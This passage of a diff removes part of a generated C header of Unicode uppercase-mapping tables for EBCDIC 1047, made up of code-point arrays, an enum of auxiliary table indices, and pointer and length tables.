- 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xA7B8, - 0xAB53, - 0xAB54, - 0xAB70, - 0xABC0, - 0xFB00, - 0xFB01, - 0xFB02, - 0xFB03, - 0xFB04, - 0xFB05, - 0xFB07, - 0xFB13, - 0xFB14, - 0xFB15, - 0xFB16, - 0xFB17, - 0xFB18, - 0xFF41, - 0xFF5B, - 0x10428, - 0x10450, - 0x104D8, - 0x104FC, - 0x10CC0, - 0x10CF3, - 0x118C0, - 0x118E0, - 0x1E922, - 0x1E944 -}; - -/* Negative enum values indicate the need to use an auxiliary table - * consisting of the list of enums this one expands to. The absolute - * values of the negative enums are indices into a table of the auxiliary - * tables' addresses */ -typedef enum { - UC_0 = 0, - UC_use_AUX_TABLE_1 = -1, - UC_use_AUX_TABLE_2 = -2, - UC_use_AUX_TABLE_3 = -3, - UC_use_AUX_TABLE_4 = -4, - UC_use_AUX_TABLE_5 = -5, - UC_use_AUX_TABLE_6 = -6, - UC_use_AUX_TABLE_7 = -7, - UC_use_AUX_TABLE_8 = -8, - UC_use_AUX_TABLE_9 = -9, - UC_use_AUX_TABLE_10 = -10, - UC_use_AUX_TABLE_11 = -11, - UC_use_AUX_TABLE_12 = -12, - UC_use_AUX_TABLE_13 = -13, - UC_use_AUX_TABLE_14 = -14, - UC_use_AUX_TABLE_15 = -15, - UC_use_AUX_TABLE_16 = -16, - UC_use_AUX_TABLE_17 = -17, - UC_use_AUX_TABLE_18 = -18, - UC_use_AUX_TABLE_19 = -19, - UC_use_AUX_TABLE_20 = -20, - UC_use_AUX_TABLE_21 = -21, - UC_use_AUX_TABLE_22 = -22, - UC_use_AUX_TABLE_23 = -23, - UC_use_AUX_TABLE_24 = -24, - UC_use_AUX_TABLE_25 = -25, - UC_use_AUX_TABLE_26 = -26, - UC_use_AUX_TABLE_27 = -27, - UC_use_AUX_TABLE_28 = -28, - UC_use_AUX_TABLE_29 = -29, - UC_use_AUX_TABLE_30 = -30, - UC_use_AUX_TABLE_31 = -31, - UC_use_AUX_TABLE_32 = -32, - UC_use_AUX_TABLE_33 = -33, - UC_use_AUX_TABLE_34 = -34, - UC_use_AUX_TABLE_35 = -35, - UC_use_AUX_TABLE_36 = -36, - UC_use_AUX_TABLE_37 = -37, - UC_use_AUX_TABLE_38 = -38, - UC_use_AUX_TABLE_39 = -39, - UC_use_AUX_TABLE_40 = -40, - UC_use_AUX_TABLE_41 = -41, - UC_use_AUX_TABLE_42 = -42, - UC_use_AUX_TABLE_43 = -43, - UC_use_AUX_TABLE_44 = -44, - UC_use_AUX_TABLE_45 = -45, - UC_use_AUX_TABLE_46 = -46, - UC_use_AUX_TABLE_47 = -47, - UC_use_AUX_TABLE_48 = -48, - UC_use_AUX_TABLE_49 = -49, - UC_use_AUX_TABLE_50 = -50, - UC_use_AUX_TABLE_51 = -51, - UC_use_AUX_TABLE_52 = -52, - UC_use_AUX_TABLE_53 = -53, - UC_use_AUX_TABLE_54 = -54, - UC_use_AUX_TABLE_55 = -55, - UC_use_AUX_TABLE_56 = -56, - UC_use_AUX_TABLE_57 = -57, - UC_use_AUX_TABLE_58 = -58, - UC_use_AUX_TABLE_59 = -59, - UC_use_AUX_TABLE_60 = -60, - UC_use_AUX_TABLE_61 = -61, - UC_use_AUX_TABLE_62 = -62, - UC_use_AUX_TABLE_63 = -63, - UC_use_AUX_TABLE_64 = -64, - UC_use_AUX_TABLE_65 = -65, - UC_use_AUX_TABLE_66 = -66, - UC_use_AUX_TABLE_67 = -67, - UC_use_AUX_TABLE_68 = -68, - UC_use_AUX_TABLE_69 = -69, - UC_use_AUX_TABLE_70 = -70, - UC_use_AUX_TABLE_71 = -71, - UC_use_AUX_TABLE_72 = -72 -} UC_enum; - -#define HAS_UC_AUX_TABLES - -static const unsigned int UC_AUX_TABLE_1[] = { - 0xE2, - 0xE2 -}; - -static const unsigned int UC_AUX_TABLE_2[] = { - 0x2BC, - 0xD5 -}; - -static const unsigned int UC_AUX_TABLE_3[] = { - 0xD1, - 0x30C -}; - -static const unsigned int UC_AUX_TABLE_4[] = { - 0x399, - 0x308, - 0x301 -}; - -static const unsigned int UC_AUX_TABLE_5[] = { - 0x3A5, - 0x308, - 0x301 -}; - -static const unsigned int UC_AUX_TABLE_6[] = { - 0x535, - 0x552 -}; - -static const unsigned int UC_AUX_TABLE_7[] = { - 0xC8, - 0x331 -}; - -static const unsigned int UC_AUX_TABLE_8[] = { - 0xE3, - 0x308 -}; - -static const unsigned int UC_AUX_TABLE_9[] = { - 0xE6, - 0x30A -}; - -static const unsigned int UC_AUX_TABLE_10[] = { - 0xE8, - 0x30A -}; - -static const unsigned int UC_AUX_TABLE_11[] = { - 0xC1, - 0x2BE -}; - -static const unsigned int UC_AUX_TABLE_12[] = { - 0x3A5, - 0x313 -}; - -static const unsigned int UC_AUX_TABLE_13[] = { - 0x3A5, - 0x313, - 0x300 -}; - -static const unsigned int UC_AUX_TABLE_14[] = { - 0x3A5, - 0x313, - 0x301 -}; - -static const unsigned int UC_AUX_TABLE_15[] = { - 0x3A5, - 0x313, - 0x342 -}; - -static const unsigned int UC_AUX_TABLE_16[] = { - 0x1F08, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_17[] = { - 0x1F09, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_18[] = { - 0x1F0A, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_19[] = { - 0x1F0B, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_20[] = { - 0x1F0C, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_21[] = { - 0x1F0D, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_22[] = { - 0x1F0E, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_23[] = { - 0x1F0F, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_24[] = { - 0x1F28, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_25[] = { - 0x1F29, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_26[] = { - 0x1F2A, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_27[] = { - 0x1F2B, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_28[] = { - 0x1F2C, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_29[] = { - 0x1F2D, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_30[] = { - 0x1F2E, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_31[] = { - 0x1F2F, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_32[] = { - 0x1F68, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_33[] = { - 0x1F69, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_34[] = { - 0x1F6A, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_35[] = { - 0x1F6B, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_36[] = { - 0x1F6C, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_37[] = { - 0x1F6D, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_38[] = { - 0x1F6E, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_39[] = { - 0x1F6F, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_40[] = { - 0x1FBA, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_41[] = { - 0x391, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_42[] = { - 0x386, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_43[] = { - 0x391, - 0x342 -}; - -static const unsigned int UC_AUX_TABLE_44[] = { - 0x391, - 0x342, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_45[] = { - 0x1FCA, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_46[] = { - 0x397, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_47[] = { - 0x389, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_48[] = { - 0x397, - 0x342 -}; - -static const unsigned int UC_AUX_TABLE_49[] = { - 0x397, - 0x342, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_50[] = { - 0x399, - 0x308, - 0x300 -}; - -static const unsigned int UC_AUX_TABLE_51[] = { - 0x399, - 0x342 -}; - -static const unsigned int UC_AUX_TABLE_52[] = { - 0x399, - 0x308, - 0x342 -}; - -static const unsigned int UC_AUX_TABLE_53[] = { - 0x3A5, - 0x308, - 0x300 -}; - -static const unsigned int UC_AUX_TABLE_54[] = { - 0x3A1, - 0x313 -}; - -static const unsigned int UC_AUX_TABLE_55[] = { - 0x3A5, - 0x342 -}; - -static const unsigned int UC_AUX_TABLE_56[] = { - 0x3A5, - 0x308, - 0x342 -}; - -static const unsigned int UC_AUX_TABLE_57[] = { - 0x1FFA, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_58[] = { - 0x3A9, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_59[] = { - 0x38F, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_60[] = { - 0x3A9, - 0x342 -}; - -static const unsigned int UC_AUX_TABLE_61[] = { - 0x3A9, - 0x342, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_62[] = { - 0xC6, - 0xC6 -}; - -static const unsigned int UC_AUX_TABLE_63[] = { - 0xC6, - 0xC9 -}; - -static const unsigned int UC_AUX_TABLE_64[] = { - 0xC6, - 0xD3 -}; - -static const unsigned int UC_AUX_TABLE_65[] = { - 0xC6, - 0xC6, - 0xC9 -}; - -static const unsigned int UC_AUX_TABLE_66[] = { - 0xC6, - 0xC6, - 0xD3 -}; - -static const unsigned int UC_AUX_TABLE_67[] = { - 0xE2, - 0xE3 -}; - -static const unsigned int UC_AUX_TABLE_68[] = { - 0x544, - 0x546 -}; - -static const unsigned int UC_AUX_TABLE_69[] = { - 0x544, - 0x535 -}; - -static const unsigned int UC_AUX_TABLE_70[] = { - 0x544, - 0x53B -}; - -static const unsigned int UC_AUX_TABLE_71[] = { - 0x54E, - 0x546 -}; - -static const unsigned int UC_AUX_TABLE_72[] = { - 0x544, - 0x53D -}; - -static const unsigned int * const UC_AUX_TABLE_ptrs[] = { - NULL, /* Placeholder */ - UC_AUX_TABLE_1, - UC_AUX_TABLE_2, - UC_AUX_TABLE_3, - UC_AUX_TABLE_4, - UC_AUX_TABLE_5, - UC_AUX_TABLE_6, - UC_AUX_TABLE_7, - UC_AUX_TABLE_8, - UC_AUX_TABLE_9, - UC_AUX_TABLE_10, - UC_AUX_TABLE_11, - UC_AUX_TABLE_12, - UC_AUX_TABLE_13, - UC_AUX_TABLE_14, - UC_AUX_TABLE_15, - UC_AUX_TABLE_16, - UC_AUX_TABLE_17, - UC_AUX_TABLE_18, - UC_AUX_TABLE_19, - UC_AUX_TABLE_20, - UC_AUX_TABLE_21, - UC_AUX_TABLE_22, - UC_AUX_TABLE_23, - UC_AUX_TABLE_24, - UC_AUX_TABLE_25, - UC_AUX_TABLE_26, - UC_AUX_TABLE_27, - UC_AUX_TABLE_28, - UC_AUX_TABLE_29, - UC_AUX_TABLE_30, - UC_AUX_TABLE_31, - UC_AUX_TABLE_32, - UC_AUX_TABLE_33, - UC_AUX_TABLE_34, - UC_AUX_TABLE_35, - UC_AUX_TABLE_36, - UC_AUX_TABLE_37, - UC_AUX_TABLE_38, - UC_AUX_TABLE_39, - UC_AUX_TABLE_40, - UC_AUX_TABLE_41, - UC_AUX_TABLE_42, - UC_AUX_TABLE_43, - UC_AUX_TABLE_44, - UC_AUX_TABLE_45, - UC_AUX_TABLE_46, - UC_AUX_TABLE_47, - UC_AUX_TABLE_48, - UC_AUX_TABLE_49, - UC_AUX_TABLE_50, - UC_AUX_TABLE_51, - UC_AUX_TABLE_52, - UC_AUX_TABLE_53, - UC_AUX_TABLE_54, - UC_AUX_TABLE_55, - UC_AUX_TABLE_56, - UC_AUX_TABLE_57, - UC_AUX_TABLE_58, - UC_AUX_TABLE_59, - UC_AUX_TABLE_60, - UC_AUX_TABLE_61, - UC_AUX_TABLE_62, - UC_AUX_TABLE_63, - UC_AUX_TABLE_64, - UC_AUX_TABLE_65, - UC_AUX_TABLE_66, - UC_AUX_TABLE_67, - UC_AUX_TABLE_68, - UC_AUX_TABLE_69, - UC_AUX_TABLE_70, - UC_AUX_TABLE_71, - UC_AUX_TABLE_72 -}; - -/* Parallel table to the above, giving the number of elements in each table - * pointed to */ -static const U8 UC_AUX_TABLE_lengths[] = { - 0, /* Placeholder */ - 2 /* UC_AUX_TABLE_1 */, - 2 /* UC_AUX_TABLE_2 */, - 2 /* UC_AUX_TABLE_3 */, - 3 /* UC_AUX_TABLE_4 */, - 3 /* UC_AUX_TABLE_5 */, - 2 /* UC_AUX_TABLE_6 */, - 2 /* UC_AUX_TABLE_7 */, - 2 /* UC_AUX_TABLE_8 */, - 2 /* UC_AUX_TABLE_9 */, - 2 /* UC_AUX_TABLE_10 */, - 2 /* UC_AUX_TABLE_11 */, - 2 /* UC_AUX_TABLE_12 */, - 3 /* UC_AUX_TABLE_13 */, - 3 /* UC_AUX_TABLE_14 */, - 3 /* UC_AUX_TABLE_15 */, - 2 /* UC_AUX_TABLE_16 */, - 2 /* UC_AUX_TABLE_17 */, - 2 /* UC_AUX_TABLE_18 */, - 2 /* UC_AUX_TABLE_19 */, - 2 /* UC_AUX_TABLE_20 */, - 2 /* UC_AUX_TABLE_21 */, - 2 /* UC_AUX_TABLE_22 */, - 2 /* UC_AUX_TABLE_23 */, - 2 /* UC_AUX_TABLE_24 */, - 2 /* UC_AUX_TABLE_25 */, - 2 /* UC_AUX_TABLE_26 */, - 2 /* UC_AUX_TABLE_27 */, - 2 /* UC_AUX_TABLE_28 */, - 2 /* UC_AUX_TABLE_29 */, - 2 /* UC_AUX_TABLE_30 */, - 2 /* UC_AUX_TABLE_31 */, - 2 /* UC_AUX_TABLE_32 */, - 2 /* UC_AUX_TABLE_33 */, - 2 /* UC_AUX_TABLE_34 */, - 2 /* UC_AUX_TABLE_35 */, - 2 /* UC_AUX_TABLE_36 */, - 2 /* UC_AUX_TABLE_37 */, - 2 /* UC_AUX_TABLE_38 */, - 2 /* UC_AUX_TABLE_39 */, - 2 /* UC_AUX_TABLE_40 */, - 2 /* UC_AUX_TABLE_41 */, - 2 /* UC_AUX_TABLE_42 */, - 2 /* UC_AUX_TABLE_43 */, - 3 /* UC_AUX_TABLE_44 */, - 2 /* UC_AUX_TABLE_45 */, - 2 /* UC_AUX_TABLE_46 */, - 2 /* UC_AUX_TABLE_47 */, - 2 /* UC_AUX_TABLE_48 */, - 3 /* UC_AUX_TABLE_49 */, - 3 /* UC_AUX_TABLE_50 */, - 2 /* UC_AUX_TABLE_51 */, - 3 /* UC_AUX_TABLE_52 */, - 3 /* UC_AUX_TABLE_53 */, - 2 /* UC_AUX_TABLE_54 */, - 2 /* UC_AUX_TABLE_55 */, - 3 /* UC_AUX_TABLE_56 */, - 2 /* UC_AUX_TABLE_57 */, - 2 /* UC_AUX_TABLE_58 */, - 2 /* UC_AUX_TABLE_59 */, - 2 /* UC_AUX_TABLE_60 */, - 3 /* UC_AUX_TABLE_61 */, - 2 /* UC_AUX_TABLE_62 */, - 2 /* UC_AUX_TABLE_63 */, - 2 /* UC_AUX_TABLE_64 */, - 3 /* UC_AUX_TABLE_65 */, - 3 /* UC_AUX_TABLE_66 */, - 2 /* UC_AUX_TABLE_67 */, - 2 /* UC_AUX_TABLE_68 */, - 2 /* UC_AUX_TABLE_69 */, - 2 /* UC_AUX_TABLE_70 */, - 2 /* UC_AUX_TABLE_71 */, - 2 /* UC_AUX_TABLE_72 */ -}; - -static const int Uppercase_Mapping_invmap[] = { /* for EBCDIC 1047 */ - 0, - 0x62, - 0, - 0x71, - UC_use_AUX_TABLE_1, - 0, - 0x80, - 0, - 0xC1, - 0, - 0xAC, - 0xBA, - 0xAE, - 0, - 0xD1, - 0, - 0x9E, - 0, - 0x39C, - 0, - 0xE2, - 0, - 0xEB, - 0, - 0xFB, - 0x178, - 0, - 0x100, - 0, - 0x102, - 0, - 0x104, - 0, - 0x106, - 0, - 0x108, - 0, - 0x10A, - 0, - 0x10C, - 0, - 0x10E, - 0, - 0x110, - 0, - 0x112, - 0, - 0x114, - 0, - 0x116, - 0, - 0x118, - 0, - 0x11A, - 0, - 0x11C, - 0, - 0x11E, - 0, - 0x120, - 0, - 0x122, - 0, - 0x124, - 0, - 0x126, - 0, - 0x128, - 0, - 0x12A, - 0, - 0x12C, - 0, - 0x12E, - 0, - 0xC9, - 0, - 0x132, - 0, - 0x134, - 0, - 0x136, - 0, - 0x139, - 0, - 0x13B, - 0, - 0x13D, - 0, - 0x13F, - 0, - 0x141, - 0, - 0x143, - 0, - 0x145, - 0, - 0x147, - UC_use_AUX_TABLE_2, - 0, - 0x14A, - 0, - 0x14C, - 0, - 0x14E, - 0, - 0x150, - 0, - 0x152, - 0, - 0x154, - 0, - 0x156, - 0, - 0x158, - 0, - 0x15A, - 0, - 0x15C, - 0, - 0x15E, - 0, - 0x160, - 0, - 0x162, - 0, - 0x164, - 0, - 0x166, - 0, - 0x168, - 0, - 0x16A, - 0, - 0x16C, - 0, - 0x16E, - 0, - 0x170, - 0, - 0x172, - 0, - 0x174, - 0, - 0x176, - 0, - 0x179, - 0, - 0x17B, - 0, - 0x17D, - 0xE2, - 0x243, - 0, - 0x182, - 0, - 0x184, - 0, - 0x187, - 0, - 0x18B, - 0, - 0x191, - 0, - 0x1F6, - 0, - 0x198, - 0x23D, - 0, - 0x220, - 0, - 0x1A0, - 0, - 0x1A2, - 0, - 0x1A4, - 0, - 0x1A7, - 0, - 0x1AC, - 0, - 0x1AF, - 0, - 0x1B3, - 0, - 0x1B5, - 0, - 0x1B8, - 0, - 0x1BC, - 0, - 0x1F7, - 0, - 0x1C4, - 0x1C4, - 0, - 0x1C7, - 0x1C7, - 0, - 0x1CA, - 0x1CA, - 0, - 0x1CD, - 0, - 0x1CF, - 0, - 0x1D1, - 0, - 0x1D3, - 0, - 0x1D5, - 0, - 0x1D7, - 0, - 0x1D9, - 0, - 0x1DB, - 0x18E, - 0, - 0x1DE, - 0, - 0x1E0, - 0, - 0x1E2, - 0, - 0x1E4, - 0, - 0x1E6, - 0, - 0x1E8, - 0, - 0x1EA, - 0, - 0x1EC, - 0, - 0x1EE, - UC_use_AUX_TABLE_3, - 0, - 0x1F1, - 0x1F1, - 0, - 0x1F4, - 0, - 0x1F8, - 0, - 0x1FA, - 0, - 0x1FC, - 0, - 0x1FE, - 0, - 0x200, - 0, - 0x202, - 0, - 0x204, - 0, - 0x206, - 0, - 0x208, - 0, - 0x20A, - 0, - 0x20C, - 0, - 0x20E, - 0, - 0x210, - 0, - 0x212, - 0, - 0x214, - 0, - 0x216, - 0, - 0x218, - 0, - 0x21A, - 0, - 0x21C, - 0, - 0x21E, - 0, - 0x222, - 0, - 0x224, - 0, - 0x226, - 0, - 0x228, - 0, - 0x22A, - 0, - 0x22C, - 0, - 0x22E, - 0, - 0x230, - 0, - 0x232, - 0, - 0x23B, - 0, - 0x2C7E, - 0, - 0x241, - 0, - 0x246, - 0, - 0x248, - 0, - 0x24A, - 0, - 0x24C, - 0, - 0x24E, - 0x2C6F, - 0x2C6D, - 0x2C70, - 0x181, - 0x186, - 0, - 0x189, - 0, - 0x18F, - 0, - 0x190, - 0xA7AB, - 0, - 0x193, - 0xA7AC, - 0, - 0x194, - 0, - 0xA78D, - 0xA7AA, - 0, - 0x197, - 0x196, - 0xA7AE, - 0x2C62, - 0xA7AD, - 0, - 0x19C, - 0, - 0x2C6E, - 0x19D, - 0, - 0x19F, - 0, - 0x2C64, - 0, - 0x1A6, - 0, - 0x1A9, - 0, - 0xA7B1, - 0x1AE, - 0x244, - 0x1B1, - 0x245, - 0, - 0x1B7, - 0, - 0xA7B2, - 0xA7B0, - 0, - 0x399, - 0, - 0x370, - 0, - 0x372, - 0, - 0x376, - 0, - 0x3FD, - 0, - UC_use_AUX_TABLE_4, - 0, - 0x386, - 0x388, - UC_use_AUX_TABLE_5, - 0x391, - 0x3A3, - 0x3A3, - 0x38C, - 0x38E, - 0, - 0x392, - 0x398, - 0, - 0x3A6, - 0x3A0, - 0x3CF, - 0, - 0x3D8, - 0, - 0x3DA, - 0, - 0x3DC, - 0, - 0x3DE, - 0, - 0x3E0, - 0, - 0x3E2, - 0, - 0x3E4, - 0, - 0x3E6, - 0, - 0x3E8, - 0, - 0x3EA, - 0, - 0x3EC, - 0, - 0x3EE, - 0x39A, - 0x3A1, - 0x3F9, - 0x37F, - 0, - 0x395, - 0, - 0x3F7, - 0, - 0x3FA, - 0, - 0x410, - 0x400, - 0, - 0x460, - 0, - 0x462, - 0, - 0x464, - 0, - 0x466, - 0, - 0x468, - 0, - 0x46A, - 0, - 0x46C, - 0, - 0x46E, - 0, - 0x470, - 0, - 0x472, - 0, - 0x474, - 0, - 0x476, - 0, - 0x478, - 0, - 0x47A, - 0, - 0x47C, - 0, - 0x47E, - 0, - 0x480, - 0, - 0x48A, - 0, - 0x48C, - 0, - 0x48E, - 0, - 0x490, - 0, - 0x492, - 0, - 0x494, - 0, - 0x496, - 0, - 0x498, - 0, - 0x49A, - 0, - 0x49C, - 0, - 0x49E, - 0, - 0x4A0, - 0, - 0x4A2, - 0, - 0x4A4, - 0, - 0x4A6, - 0, - 0x4A8, - 0, - 0x4AA, - 0, - 0x4AC, - 0, - 0x4AE, - 0, - 0x4B0, - 0, - 0x4B2, - 0, - 0x4B4, - 0, - 0x4B6, - 0, - 0x4B8, - 0, - 0x4BA, - 0, - 0x4BC, - 0, - 0x4BE, - 0, - 0x4C1, - 0, - 0x4C3, - 0, - 0x4C5, - 0, - 0x4C7, - 0, - 0x4C9, - 0, - 0x4CB, - 0, - 0x4CD, - 0x4C0, - 0, - 0x4D0, - 0, - 0x4D2, - 0, - 0x4D4, - 0, - 0x4D6, - 0, - 0x4D8, - 0, - 0x4DA, - 0, - 0x4DC, - 0, - 0x4DE, - 0, - 0x4E0, - 0, - 0x4E2, - 0, - 0x4E4, - 0, - 0x4E6, - 0, - 0x4E8, - 0, - 0x4EA, - 0, - 0x4EC, - 0, - 0x4EE, - 0, - 0x4F0, - 0, - 0x4F2, - 0, - 0x4F4, - 0, - 0x4F6, - 0, - 0x4F8, - 0, - 0x4FA, - 0, - 0x4FC, - 0, - 0x4FE, - 0, - 0x500, - 0, - 0x502, - 0, - 0x504, - 0, - 0x506, - 0, - 0x508, - 0, - 0x50A, - 0, - 0x50C, - 0, - 0x50E, - 0, - 0x510, - 0, - 0x512, - 0, - 0x514, - 0, - 0x516, - 0, - 0x518, - 0, - 0x51A, - 0, - 0x51C, - 0, - 0x51E, - 0, - 0x520, - 0, - 0x522, - 0, - 0x524, - 0, - 0x526, - 0, - 0x528, - 0, - 0x52A, - 0, - 0x52C, - 0, - 0x52E, - 0, - 0x531, - UC_use_AUX_TABLE_6, - 0, - 0x13F0, - 0, - 0x412, - 0x414, - 0x41E, - 0x421, - 0x422, - 0x42A, - 0x462, - 0xA64A, - 0, - 0xA77D, - 0, - 0x2C63, - 0, - 0x1E00, - 0, - 0x1E02, - 0, - 0x1E04, - 0, - 0x1E06, - 0, - 0x1E08, - 0, - 0x1E0A, - 0, - 0x1E0C, - 0, - 0x1E0E, - 0, - 0x1E10, - 0, - 0x1E12, - 0, - 0x1E14, - 0, - 0x1E16, - 0, - 0x1E18, - 0, - 0x1E1A, - 0, - 0x1E1C, - 0, - 0x1E1E, - 0, - 0x1E20, - 0, - 0x1E22, - 0, - 0x1E24, - 0, - 0x1E26, - 0, - 0x1E28, - 0, - 0x1E2A, - 0, - 0x1E2C, - 0, - 0x1E2E, - 0, - 0x1E30, - 0, - 0x1E32, - 0, - 0x1E34, - 0, - 0x1E36, - 0, - 0x1E38, - 0, - 0x1E3A, - 0, - 0x1E3C, - 0, - 0x1E3E, - 0, - 0x1E40, - 0, - 0x1E42, - 0, - 0x1E44, - 0, - 0x1E46, - 0, - 0x1E48, - 0, - 0x1E4A, - 0, - 0x1E4C, - 0, - 0x1E4E, - 0, - 0x1E50, - 0, - 0x1E52, - 0, - 0x1E54, - 0, - 0x1E56, - 0, - 0x1E58, - 0, - 0x1E5A, - 0, - 0x1E5C, - 0, - 0x1E5E, - 0, - 0x1E60, - 0, - 0x1E62, - 0, - 0x1E64, - 0, - 0x1E66, - 0, - 0x1E68, - 0, - 0x1E6A, - 0, - 0x1E6C, - 0, - 0x1E6E, - 0, - 0x1E70, - 0, - 0x1E72, - 0, - 0x1E74, - 0, - 0x1E76, - 0, - 0x1E78, - 0, - 0x1E7A, - 0, - 0x1E7C, - 0, - 0x1E7E, - 0, - 0x1E80, - 0, - 0x1E82, - 0, - 0x1E84, - 0, - 0x1E86, - 0, - 0x1E88, - 0, - 0x1E8A, - 0, - 0x1E8C, - 0, - 0x1E8E, - 0, - 0x1E90, - 0, - 0x1E92, - 0, - 0x1E94, - UC_use_AUX_TABLE_7, - UC_use_AUX_TABLE_8, - UC_use_AUX_TABLE_9, - UC_use_AUX_TABLE_10, - UC_use_AUX_TABLE_11, - 0x1E60, - 0, - 0x1EA0, - 0, - 0x1EA2, - 0, - 0x1EA4, - 0, - 0x1EA6, - 0, - 0x1EA8, - 0, - 0x1EAA, - 0, - 0x1EAC, - 0, - 0x1EAE, - 0, - 0x1EB0, - 0, - 0x1EB2, - 0, - 0x1EB4, - 0, - 0x1EB6, - 0, - 0x1EB8, - 0, - 0x1EBA, - 0, - 0x1EBC, - 0, - 0x1EBE, - 0, - 0x1EC0, - 0, - 0x1EC2, - 0, - 0x1EC4, - 0, - 0x1EC6, - 0, - 0x1EC8, - 0, - 0x1ECA, - 0, - 0x1ECC, - 0, - 0x1ECE, - 0, - 0x1ED0, - 0, - 0x1ED2, - 0, - 0x1ED4, - 0, - 0x1ED6, - 0, - 0x1ED8, - 0, - 0x1EDA, - 0, - 0x1EDC, - 0, - 0x1EDE, - 0, - 0x1EE0, - 0, - 0x1EE2, - 0, - 0x1EE4, - 0, - 0x1EE6, - 0, - 0x1EE8, - 0, - 0x1EEA, - 0, - 0x1EEC, - 0, - 0x1EEE, - 0, - 0x1EF0, - 0, - 0x1EF2, - 0, - 0x1EF4, - 0, - 0x1EF6, - 0, - 0x1EF8, - 0, - 0x1EFA, - 0, - 0x1EFC, - 0, - 0x1EFE, - 0x1F08, - 0, - 0x1F18, - 0, - 0x1F28, - 0, - 0x1F38, - 0, - 0x1F48, - 0, - UC_use_AUX_TABLE_12, - 0x1F59, - UC_use_AUX_TABLE_13, - 0x1F5B, - UC_use_AUX_TABLE_14, - 0x1F5D, - UC_use_AUX_TABLE_15, - 0x1F5F, - 0, - 0x1F68, - 0, - 0x1FBA, - 0x1FC8, - 0x1FDA, - 0x1FF8, - 0x1FEA, - 0x1FFA, - 0, - UC_use_AUX_TABLE_16, - UC_use_AUX_TABLE_17, - UC_use_AUX_TABLE_18, - UC_use_AUX_TABLE_19, - UC_use_AUX_TABLE_20, - UC_use_AUX_TABLE_21, - UC_use_AUX_TABLE_22, - UC_use_AUX_TABLE_23, - UC_use_AUX_TABLE_16, - UC_use_AUX_TABLE_17, - UC_use_AUX_TABLE_18, - UC_use_AUX_TABLE_19, - UC_use_AUX_TABLE_20, - UC_use_AUX_TABLE_21, - UC_use_AUX_TABLE_22, - UC_use_AUX_TABLE_23, - UC_use_AUX_TABLE_24, - UC_use_AUX_TABLE_25, - UC_use_AUX_TABLE_26, - UC_use_AUX_TABLE_27, - UC_use_AUX_TABLE_28, - UC_use_AUX_TABLE_29, - UC_use_AUX_TABLE_30, - UC_use_AUX_TABLE_31, - UC_use_AUX_TABLE_24, - UC_use_AUX_TABLE_25, - UC_use_AUX_TABLE_26, - UC_use_AUX_TABLE_27, - UC_use_AUX_TABLE_28, - UC_use_AUX_TABLE_29, - UC_use_AUX_TABLE_30, - UC_use_AUX_TABLE_31, - UC_use_AUX_TABLE_32, - UC_use_AUX_TABLE_33, - UC_use_AUX_TABLE_34, - UC_use_AUX_TABLE_35, - UC_use_AUX_TABLE_36, - UC_use_AUX_TABLE_37, - UC_use_AUX_TABLE_38, - UC_use_AUX_TABLE_39, - UC_use_AUX_TABLE_32, - UC_use_AUX_TABLE_33, - UC_use_AUX_TABLE_34, - UC_use_AUX_TABLE_35, - UC_use_AUX_TABLE_36, - UC_use_AUX_TABLE_37, - UC_use_AUX_TABLE_38, - UC_use_AUX_TABLE_39, - 0x1FB8, - UC_use_AUX_TABLE_40, - UC_use_AUX_TABLE_41, - UC_use_AUX_TABLE_42, - 0, - UC_use_AUX_TABLE_43, - UC_use_AUX_TABLE_44, - 0, - UC_use_AUX_TABLE_41, - 0, - 0x399, - 0, - UC_use_AUX_TABLE_45, - UC_use_AUX_TABLE_46, - UC_use_AUX_TABLE_47, - 0, - UC_use_AUX_TABLE_48, - UC_use_AUX_TABLE_49, - 0, - UC_use_AUX_TABLE_46, - 0, - 0x1FD8, - UC_use_AUX_TABLE_50, - UC_use_AUX_TABLE_4, - 0, - UC_use_AUX_TABLE_51, - UC_use_AUX_TABLE_52, - 0, - 0x1FE8, - UC_use_AUX_TABLE_53, - UC_use_AUX_TABLE_5, - UC_use_AUX_TABLE_54, - 0x1FEC, - UC_use_AUX_TABLE_55, - UC_use_AUX_TABLE_56, - 0, - UC_use_AUX_TABLE_57, - UC_use_AUX_TABLE_58, - UC_use_AUX_TABLE_59, - 0, - UC_use_AUX_TABLE_60, - UC_use_AUX_TABLE_61, - 0, - UC_use_AUX_TABLE_58, - 0, - 0x2132, - 0, - 0x2160, - 0, - 0x2183, - 0, - 